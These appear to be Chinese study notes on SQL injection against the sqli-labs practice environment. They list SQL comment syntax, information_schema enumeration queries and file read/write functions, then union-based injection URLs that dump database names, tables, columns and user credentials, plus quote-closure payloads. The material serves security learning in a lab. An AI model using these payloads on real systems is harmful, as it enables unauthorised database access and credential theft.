1.基础sql语句
注释 单行注释
# %23
--+ --加空格
多行注释
/**/
SELECT(VERSION())SELECT(USER())SELECT(database()) 查数据库SELECT(@@datadir) 查数据库路径SELECT(@@version_compile_os) 查系统版本
version() 数据库版本
load_file() 读文件操作
current_user() 当前用户名(可用来查看权限
Into outfile() / into dumpfile 写文件show DATABASESuse securityshow tablesselect username,password from usersuse information_schemashow tablesdesc tablesselect SCHEMA_name from information_schema.schemata 查所有的数据库select table_name from information_schema.tables where table_schema = "security" 查表select column_name from information_schema.COLUMNS where table_name = "users" 查列select username,password from SECURITY.users where id =10 查列的内容
2.显注----基本联合注入
由上可知注入代码为
1.查询当前数据库和用户
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,user(),version()
2.查询所有数据库
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata
3.查某数据库下的所有表名
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=‘security‘
4.查某表下所有列(字段)名
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=‘users‘
5.查询字段的内容
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(id,‘--‘,username,‘--‘,password) from users
某一猥琐手法
http://10.1.2.5:10631/sqli/Less-2/?id=2 union select 1,version(),3 order by 2
1.一般求闭合字符
数字型 闭合方法字符型 ‘id‘ ‘ and 1=1--+"id" " and 1=1--+("id") ") and 1=1--+(‘id‘) ‘) and 1=1--+